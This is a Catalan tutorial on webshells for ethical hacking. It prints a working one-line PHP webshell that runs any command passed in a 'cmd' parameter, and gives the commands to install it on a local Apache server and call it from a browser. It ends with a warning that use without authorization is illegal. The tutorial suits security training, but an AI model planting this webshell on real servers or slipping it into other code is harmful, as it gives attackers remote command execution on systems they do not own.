En el context del hacking ètic, una webshell és un script que un atacant puja a un servidor web compromès per obtenir control remot del servidor. Aquesta tècnica s’utilitza per realitzar tasques com l’execució de comandes del sistema, exfiltració de dades o com a punt d’entrada per a altres activitats malicioses. No obstant això, en el hacking ètic, s’utilitza per avaluar la seguretat del servidor i trobar vulnerabilitats abans que ho facin els atacants.
Què és una webshell?
Una webshell és bàsicament un script (escrit en llenguatges com PHP, ASP, JSP, etc.) que permet a l’usuari executar comandes en el servidor web. Aquests scripts poden ser tan simples com un formulari que permet l’execució de comandes de shell, o tan complexos com un panell d’administració complet.
Exemple de webshell en PHP
Un exemple bàsic d’una webshell en PHP seria:
<?php
if(isset($_REQUEST['cmd'])){
echo '<pre>' . shell_exec($_REQUEST['cmd']) . '</pre>';
}
?>
Aquest script permet executar comandes del sistema operatiu directament des del navegador web en passar el paràmetre cmd
a la URL.
Ús de webshells amb Kali Linux
Kali Linux és una distribució de Linux popular entre els professionals de la seguretat informàtica per les seves nombroses eines de pentesting. Aquí et deixo un exemple de com podríes utilitzar una webshell en un entorn de proves amb Kali Linux.
Pas 1: Preparar l’entorn
- Instal·lar un servidor web: Pots utilitzar Apache o qualsevol altre servidor web en el teu entorn de proves.
sudo apt update
sudo apt install apache2
- Habilitar PHP: Assegura’t de tenir PHP instal·lat i configurat al teu servidor.
sudo apt install php libapache2-mod-php
sudo systemctl restart apache2
Pas 2: Pujar la webshell
- Crear la webshell: Guarda l’script PHP d’exemple en un fitxer anomenat
webshell.php
.
echo "<?php if(isset(\$_REQUEST['cmd'])){ echo '<pre>' . shell_exec(\$_REQUEST['cmd']) . '</pre>'; } ?>" > /var/www/html/webshell.php
- Configurar permisos: Assegura’t que el fitxer tingui els permisos adequats per ser executat pel servidor web.
sudo chown www-data:www-data /var/www/html/webshell.php
sudo chmod 644 /var/www/html/webshell.php
Pas 3: Executar comandes a través de la webshell
- Accedir a la webshell: Obre el teu navegador i accedeix a
http://<IP-DEL-SERVIDOR>/webshell.php
. - Executar una comanda: A la barra d’adreces, pots afegir el paràmetre
cmd
per executar una comanda. Per exemple, per llistar els fitxers al directori arrel:
http://<IP-DEL-SERVIDOR>/webshell.php?cmd=ls
Veuràs la sortida de la comanda ls
directament al teu navegador.
Importància en el hacking ètic
En el hacking ètic, pujar i utilitzar una webshell permet al pentester identificar i explotar possibles vulnerabilitats en un entorn controlat. Això ajuda les organitzacions a:
- Identificar punts febles: Determinar quines configuracions del servidor són vulnerables a l’execució remota de comandes.
- Millorar la seguretat: Implementar mesures de seguretat per prevenir la pujada i execució d’scripts maliciosos, com configuracions adequades de permisos i filtres a les entrades d’usuaris.
- Entrenar l’equip de seguretat: Simular atacs per preparar l’equip de seguretat de l’organització en la detecció i resposta a incidents.
Precaucions i ètica
És important recordar que l’ús de webshells fora d’un entorn autoritzat i controlat és il·legal i poc ètic. Sempre has d’obtenir el permís explícit del propietari del sistema abans de realitzar qualsevol tipus de prova de seguretat.
En resum, les webshells són eines poderoses dins l’arsenal d’un pentester ètic i, quan s’utilitzen correctament, poden ajudar a enfortir la seguretat dels sistemes i aplicacions web.